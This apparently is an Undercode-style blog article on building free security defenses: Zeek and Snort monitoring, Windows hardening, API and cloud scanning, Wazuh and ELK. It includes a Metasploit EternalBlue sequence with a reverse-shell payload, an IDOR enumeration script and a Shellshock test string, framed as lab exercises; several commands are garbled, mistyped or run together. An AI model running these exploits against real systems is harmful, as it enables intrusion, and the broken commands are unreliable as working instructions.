Listen to this Post
Introduction:
When management rejects your cybersecurity budget request – often delivered as a sarcastic “denied as a service” – you cannot afford to wait for the next fiscal cycle. Attackers don’t care about your CapEx limitations; they exploit gaps in visibility, misconfigured assets, and unpatched vulnerabilities. This article transforms a zero‑dollar reality into a proactive defense strategy using only free, open‑source tools, native OS commands, and cloud hardening techniques that cost nothing but time.
Learning Objectives:
– Deploy a network intrusion detection system (NIDS) using Zeek and Snort on a repurposed Linux machine.
– Harden Windows and Linux endpoints with built‑in security policies and free audit scripts.
– Implement API security testing and cloud misconfiguration scanning using open‑source frameworks.
You Should Know:
1. Build a Budget NIDS with Zeek + Snort on Ubuntu
Start with any spare PC or a low‑resource VM (2 vCPU, 4GB RAM). This step‑by‑step creates a network intrusion detection system that rivals commercial offerings.
Step‑by‑step guide:
– Install Zeek (formerly Bro):
sudo apt update && sudo apt install zeek -y sudo ln -s /opt/zeek/bin/zeek /usr/local/bin/zeek
– Configure Zeek to monitor your main interface (e.g., `eth0`):
sudo zeekctl deploy sudo zeekctl status
– Add Snort for signature‑based detection (free community rules):
sudo apt install snort -y sudo snort -T -c /etc/snort/snort.conf Test config
– Run both in parallel – Zeek for metadata/logs, Snort for alerts:
sudo zeekctl start && sudo snort -q -i eth0 -c /etc/snort/snort.conf -A console
– Automate log review using `journalctl` and `grep`:
grep "ALERT" /var/log/snort/alert | mail -s "Snort Alerts" [email protected]
Windows alternative: Install Sysmon (free from Microsoft) and forward logs to a Linux collector.
2. Hardening Windows 10/11 with Built‑in Policies (No Extra License)
Windows comes with powerful security knobs that are often left at default. Turn them on with these commands (run as Administrator).
Step‑by‑step guide:
– Enable PowerShell logging and script block logging:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -1ame "EnableScriptBlockLogging" -Value 1
– Turn on Windows Defender Attack Surface Reduction (ASR) rules:
Set-MpPreference -AttackSurfaceReductionRules_Ids 75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84 -AttackSurfaceReductionRules_Actions Enabled
– Block SMB guest logons and enforce NTLM auditing:
Set-SmbClientConfiguration -EnableInsecureGuestLogons $false -Force
– Deploy LAPS‑like local admin password rotation using a scheduled task that calls `Get-LocalUser` and generates a random password – no LAPS license needed.
Linux equivalent for hardening: `sudo apt install lynis -y && sudo lynis audit system`
3. API Security Testing with Postman + ZAP (Free Tier)
Many budget denials overlook API security until a breach happens. Use these open‑source tools to scan your internal and external APIs.
Step‑by‑step guide:
– Install OWASP ZAP (Zed Attack Proxy):
sudo apt install zaproxy -y
– Run an automated API scan (assumes API spec at `http://localhost:5000/swagger.json`):
zap-cli quick-scan --self-contained --spider -s all -o api_report.html http://your-api-endpoint
– Use Postman’s collection runner with a free Newman CLI:
npm install -g newman newman run my_api_collection.json --environment test_env.json --reporters junit
– Test for mass assignment and IDOR with a custom Python script:
import requests
for i in range(1,100):
r = requests.get(f"https://target/api/user/{i}")
if r.status_code == 200 and "email" in r.text:
print(f"IDOR found: user {i}")
4. Cloud Misconfiguration Scanning Using Prowler (AWS/Azure/GCP)
Shadow IT and forgotten S3 buckets are a top cause of breaches. Prowler is an open‑source CLI tool that checks against CIS benchmarks and GDPR.
Step‑by‑step guide:
– Install Prowler:
git clone https://github.com/prowler-cloud/prowler cd prowler pip install -r requirements.txt
– Run a full assessment on your AWS account (ensure AWS CLI configured):
python prowler.py -p your_profile --services s3,iam,ec2 -M json
– Automate weekly scans via cron:
crontab -e Add line: 0 3 1 /home/user/prowler/prowler.py -c us-east-1 -M html -o /reports/
– Remediation example – make S3 buckets private:
aws s3api put-bucket-acl --bucket your-bucket --acl private
5. Vulnerability Exploitation & Mitigation Lab with Metasploit (Educational)
To defend effectively, you must understand how an attacker thinks. Build a sandboxed lab (using VirtualBox or free tier of AWS) to test mitigations.
Step‑by‑step guide (do not run on production):
– Install Metasploit Framework:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod 755 msfinstall && ./msfinstall
– Simulate an EternalBlue (MS17-010) attack on an unpatched Windows 7 VM:
msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.101 set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit
– Immediate mitigation – patch and disable SMBv1 on all Windows hosts:
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
– Linux mitigation for Shellshock (CVE-2014-6271):
sudo apt update && sudo apt upgrade bash
env x='() { :;}; echo vulnerable' bash -c "echo test" Should not show "vulnerable"
6. Free Endpoint Detection & Response (EDR) with Wazuh
Wazuh is a fully open‑source SIEM/XDR platform that runs on a single server plus lightweight agents on Windows/Linux/macOS.
Step‑by‑step guide:
– Install Wazuh server (all‑in‑one) on Ubuntu 20.04/22.04:
curl -s https://packages.wazuh.com/4.x/wazuh-install.sh | bash
– Deploy agent on Windows (download MSI from `https://packages.wazuh.com/4.x/windows/wazuh-agent-4.5.0-1.msi`) and install with:
msiexec /i wazuh-agent-4.5.0.msi /quiet WAZUH_MANAGER="10.0.0.10" WAZUH_REGISTRATION_SERVER="10.0.0.10"
– Enable file integrity monitoring (FIM) for critical folders:
<!-- In /var/ossec/etc/ossec.conf on server --> <syscheck> <directories check_all="yes" realtime="yes">C:\Windows\System32\drivers\etc</directories> <directories check_all="yes">/etc,/usr/bin,/usr/sbin</directories> </syscheck>
– Set up Slack alerts via built‑in integration – free up to 10,000 messages/month.
7. AI‑Driven Threat Hunting with ELK Stack + Custom ML
Even with zero budget, you can apply basic anomaly detection using the Elastic Stack (free tier) and a simple Python isolation forest model.
Step‑by‑step guide:
– Install Elasticsearch, Logstash, Kibana (ELK):
wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add - sudo apt install elasticsearch logstash kibana -y
– Ingest Zeek logs (from section 1) into Logstash using a `zeek.conf` pipeline.
– Run a Python script every hour to score recent connection logs:
from sklearn.ensemble import IsolationForest import pandas as pd Load Zeek conn.log, extract bytes, duration, packets model = IsolationForest(contamination=0.01) model.fit(data[['orig_bytes','resp_bytes','duration']]) anomalies = model.predict(data)
– Output anomalous IPs to a Kibana watch list – no commercial SIEM required.
What Undercode Say:
– Key Takeaway 1: A rejected budget does not equal rejected security – native OS features (PowerShell logging, ASR rules, Zeek, Wazuh) provide enterprise‑grade telemetry for free.
– Key Takeaway 2: Attackers exploit configuration gaps, not expensive tools – systematic scanning with Prowler (cloud) and Snort (network) closes those gaps faster than any paid product.
Analysis (approx. 10 lines):
Undercode emphasizes that “denied as a service” is a sarcastic reality for many security teams, but it forces innovation. The open‑source ecosystem has matured to the point where a skilled defender can build a complete SOC (SIEM, NIDS, HIDS, vulnerability scanner) using only community projects. The real challenge is not money – it’s time and discipline to maintain these tools. While commercial solutions offer convenience and support, the absence of a budget should never be a free pass for risk acceptance. In fact, manually deploying and tuning open‑source tools often yields deeper understanding of your own infrastructure, leading to more effective custom defenses. The examples above – from Zeek to ELK to Wazuh – are all used by Fortune 500 companies alongside their paid stack. Budget denial may sting, but it can also become the catalyst for a lean, mean, and highly knowledgeable security operation.
Prediction:
– +1 As generative AI lowers the barrier to writing detection rules (e.g., Sigma rules from plain English prompts), open‑source security tooling will become even more accessible, widening the gap between organizations that simply buy solutions and those that truly understand their environment.
– -1 The same budget denial that forces open‑source adoption also creates “alert fatigue” when teams lack proper tuning time – expect an uptick in overlooked critical alerts from free SIEMs unless automated prioritization (e.g., with free ML scoring) is embedded early.
– +1 Cloud providers will continue offering free tiers for security scanning tools (AWS Inspector, GCP Security Command Center basic), but open‑source multi‑cloud scanners like Prowler will remain essential for avoiding vendor lock‑in and detecting cross‑cloud misconfigurations.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
[Join Undercode Academy for Verified Certifications](https://undercode.co.uk/certifications/)
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[[email protected]](mailto:[email protected])
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: [%F0%9D%97%96%F0%9D%98%86%F0%9D%97%AF%F0%9D%97%B2%F0%9D%97%BF%F0%9D%98%80%F0%9D%97%B2%F0%9D%97%B0%F0%9D%98%82%F0%9D%97%BF%F0%9D%97%B6%F0%9D%98%81%F0%9D%98%86 %F0%9D%97%95%F0%9D%98%82%F0%9D%97%B1%F0%9D%97%B4%F0%9D%97%B2%F0%9D%98%81](https://www.linkedin.com/posts/%F0%9D%97%96%F0%9D%98%86%F0%9D%97%AF%F0%9D%97%B2%F0%9D%97%BF%F0%9D%98%80%F0%9D%97%B2%F0%9D%97%B0%F0%9D%98%82%F0%9D%97%BF%F0%9D%97%B6%F0%9D%98%81%F0%9D%98%86-%F0%9D%97%95%F0%9D%98%82%F0%9D%97%B1%F0%9D%97%B4%F0%9D%97%B2%F0%9D%98%81-%F0%9D%97%A5%F0%9D%97%B2%F0%9D%97%BE%F0%9D%98%82%F0%9D%97%B2%F0%9D%98%80%F0%9D%98%81-share-7467898755682484224-7xfh/) – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
[💬 Whatsapp](https://undercode.help/whatsapp) | [💬 Telegram](https://t.me/UndercodeCommunity)
📢 Follow UndercodeTesting & Stay Tuned:
[𝕏 formerly Twitter 🐦](https://x.com/undercodeupdate) | [@ Threads](https://www.threads.net/@undercodetesting) | [🔗 Linkedin](https://www.linkedin.com/company/undercodetesting/) | [🦋BlueSky](https://bsky.app/profile/undercode.bsky.social)
